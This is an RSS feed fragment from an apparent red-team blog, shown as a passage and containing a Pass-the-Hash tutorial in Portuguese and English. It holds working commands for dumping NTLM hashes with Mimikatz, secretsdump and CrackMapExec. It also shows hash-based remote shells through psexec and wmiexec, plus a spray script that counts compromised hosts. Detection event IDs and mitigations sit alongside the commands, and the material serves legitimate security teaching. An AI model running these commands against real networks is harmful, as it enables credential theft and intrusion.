&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;Uso: &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;$0&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &amp;#x3C;CIDR&gt; &amp;#x3C;user&gt; &amp;#x3C;NT_hash&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  exit&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[*] Iniciando PtH spray em &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$TARGET_RANGE&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; como &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$USER&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[*] Hash: ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;HASH&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}...redacted&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;crackmapexec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; smb&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$TARGET_RANGE&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$USER&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -H&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$HASH&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --continue-on-success&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; 2&gt;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;tee&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /tmp/pth_results.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;PWNED&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;Pwn3d&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /tmp/pth_results.txt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[+] Hosts comprometidos: &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$PWNED&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[*] Resultados em: /tmp/pth_results.txt&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;AVISO:&lt;/strong&gt; Esta técnica deve ser utilizada exclusivamente em engajamentos de Red Team com autorização escrita. O uso não autorizado é crime.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;detecção&quot;&gt;Detecção&lt;/h2&gt;
&lt;p&gt;Defenders devem monitorar:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Indicador&lt;/th&gt;&lt;th&gt;Event ID&lt;/th&gt;&lt;th&gt;Descrição&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Logon com hash (sem senha)&lt;/td&gt;&lt;td&gt;4624&lt;/td&gt;&lt;td&gt;Logon Type 3, sem NTLMv2 challenge completo&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Uso de admin local generalizado&lt;/td&gt;&lt;td&gt;4648&lt;/td&gt;&lt;td&gt;Logon explícito com credenciais alternativas&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Ferramentas conhecidas&lt;/td&gt;&lt;td&gt;7045&lt;/td&gt;&lt;td&gt;Serviço PSEXESVC criado&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Anomalia de autenticação&lt;/td&gt;&lt;td&gt;4776&lt;/td&gt;&lt;td&gt;NTLM auth de host incomum&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;mitigações&quot;&gt;Mitigações&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;KB2871997&lt;/strong&gt; — Restringe uso de hashes para contas locais (exceto RID 500)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protected Users Security Group&lt;/strong&gt; — Força Kerberos, desabilita NTLM&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Credential Guard&lt;/strong&gt; — Isola LSA em VTL1, impede extração via Mimikatz&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LAPS (Local Administrator Password Solution)&lt;/strong&gt; — Senhas únicas por host, elimina o spray&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tiering model&lt;/strong&gt; — Isola contas admin de domínio de workstations&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable NTLMv1&lt;/strong&gt; — Via GPO: &lt;code&gt;Network security: LAN Manager authentication level&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>lateral</category><category>pass-the-hash</category><category>ntlm</category><category>lateral-movement</category><category>windows</category><category>mimikatz</category><category>impacket</category><difficulty>medium</difficulty></item><item><title>Pass-the-Hash — Lateral Movement Without a Cleartext Password</title><link>https://www.kbmsecurity.com.br/blog/post/pass-the-hash-en/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/pass-the-hash-en/</guid><description>How to capture NTLM hashes and use them directly for lateral authentication on Windows networks without cracking the password.</description><pubDate>Mon, 03 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;what-is-pass-the-hash&quot;&gt;What is Pass-the-Hash?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Pass-the-Hash (PtH)&lt;/strong&gt; is an attack technique that allows authentication to Windows services using the &lt;strong&gt;NTLM hash&lt;/strong&gt; of a user’s password—without ever needing the password in plain text.&lt;/p&gt;
&lt;p&gt;The Windows NTLM authentication protocol does not validate whether the client knows the original password; it validates whether the client has the correct hash. This makes NTLM hashes functionally equivalent to passwords.&lt;/p&gt;
&lt;h2 id=&quot;why-does-this-work&quot;&gt;Why does this work?&lt;/h2&gt;
&lt;p&gt;The NTLM authentication flow works like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Client requests access to the server&lt;/li&gt;
&lt;li&gt;Server sends a &lt;strong&gt;challenge&lt;/strong&gt; (random nonce)&lt;/li&gt;
&lt;li&gt;Client responds with &lt;code&gt;HMAC-MD5(NT_hash, challenge)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Server verifies the response&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;At no point is the plaintext password transmitted or verified. The hash &lt;strong&gt;is&lt;/strong&gt; the credential.&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Requirement&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Target NTLM hash&lt;/td&gt;&lt;td&gt;Obtained via Mimikatz, secretsdump, etc.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Accessible service&lt;/td&gt;&lt;td&gt;SMB (445), WMI (135), RDP with NLA disabled&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Valid account&lt;/td&gt;&lt;td&gt;Local admin or domain admin on the target&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;NTLMv1/v2 protocol&lt;/td&gt;&lt;td&gt;NTLM must be enabled on the target&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&gt; &lt;strong&gt;Note:&lt;/strong&gt; Pass-the-Hash &lt;strong&gt;does not work&lt;/strong&gt; against services that require Kerberos exclusively (e.g., environments with “Restrict NTLM” configured via GPO).&lt;/p&gt;
&lt;h2 id=&quot;step-1--capturing-ntlm-hashes&quot;&gt;Step 1 — Capturing NTLM hashes&lt;/h2&gt;
&lt;h3 id=&quot;via-mimikatz-local-access-with-system&quot;&gt;Via Mimikatz (local access with SYSTEM)&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Dump credentials in memory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;mimikatz.exe&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;quot;privilege::debug&amp;#x26;quot; &amp;#x26;quot;sekurlsa::logonpasswords&amp;#x26;quot; &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;exit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Relevant output:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Username : Administrator&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# NTLM     : aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;via-impacket-secretsdump-remote-with-admin-credentials&quot;&gt;Via Impacket secretsdump (remote, with admin credentials)&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Remote dump via SMB + DCE/RPC&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;secretsdump.py&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; DOMAIN/Administrator:&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;P@ssw0rd&amp;#x26;#x27;@192.168.1.10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Dump using hash (already doing PtH to capture more hashes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;secretsdump.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -hashes&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  DOMAIN/Administrator@192.168.1.10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;via-crackmapexec&quot;&gt;Via CrackMapExec&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Dump SAM database&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;crackmapexec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; smb&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 192.168.1.0/24&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Administrator&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -H&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --sam&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The hash format is always &lt;code&gt;LM:NT&lt;/code&gt;. LM is usually &lt;code&gt;aad3b435b51404eeaad3b435b51404ee&lt;/code&gt; (empty hash) on modern systems. What matters is the &lt;strong&gt;NT&lt;/strong&gt; part.&lt;/p&gt;
&lt;h2 id=&quot;step-2--running-pth&quot;&gt;Step 2 — Running PtH&lt;/h2&gt;
&lt;h3 id=&quot;impacket--psexecpy&quot;&gt;Impacket — psexec.py&lt;/h3&gt;
&lt;p&gt;Opens an interactive shell on the remote host via SMB:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;psexec.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -hashes&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  DOMAIN/Administrator@192.168.1.20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Result:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# [*] Requesting shares on 192.168.1.20.....&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# [*] Found writable share ADMIN$&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# [*] Uploading file XKjQrPwN.exe&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Microsoft Windows [Version 10.0.19044.2251]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# C:\Windows\system32&amp;#x26;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;impacket--wmiexecpy&quot;&gt;Impacket — wmiexec.py&lt;/h3&gt;
&lt;p&gt;Execution via WMI (quieter than psexec, no file on disk):&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;wmiexec.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -hashes&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  DOMAIN/Administrator@192.168.1.20&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;whoami&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Result: domain\administrator&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;impacket--smbclientpy&quot;&gt;Impacket — smbclient.py&lt;/h3&gt;
&lt;p&gt;Access to the filesystem via SMB:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;smbclient.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -hashes&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  DOMAIN/Administrator@192.168.1.20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Browse shares:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# # use C$&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# # ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# # get Users\Administrator\Desktop\flag.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;crackmapexec--spray-on-the-network&quot;&gt;CrackMapExec — Spray on the network&lt;/h3&gt;
&lt;p&gt;Test the hash against multiple hosts at once:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Check which hosts accept the hash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;crackmapexec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; smb&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 192.168.1.0/24&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Administrator&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -H&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Run command on all that accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;crackmapexec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; smb&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 192.168.1.0/24&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Administrator&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -H&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 8846f7eaee8fb117ad06bdd830b7586c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -x&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;net&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; user&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /domain&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Output with (Pwn3d!) indicates success as local admin:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# SMB  192.168.1.20  445  WIN10-DEV  [+] DOMAIN\Administrator (Pwn3d!)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# SMB  192.168.1.25  445  WIN-SRV01  [+] DOMAIN\Administrator (Pwn3d!)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;mimikatz--sekurlsapth&quot;&gt;Mimikatz — sekurlsa::pth&lt;/h3&gt;
&lt;p&gt;Injects the hash into the current process for transparent authentication:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Opens an authenticated cmd.exe with the hash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;mimikatz.exe&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;quot;sekurlsa::pth &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;user:Administrator &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;domain:CORP &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ntlm:8846f7eaee8fb117ad06bdd830b7586c &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;run:&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;cmd.exe&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# In the resulting window:&lt;/span&gt;&lt;/span&gt;
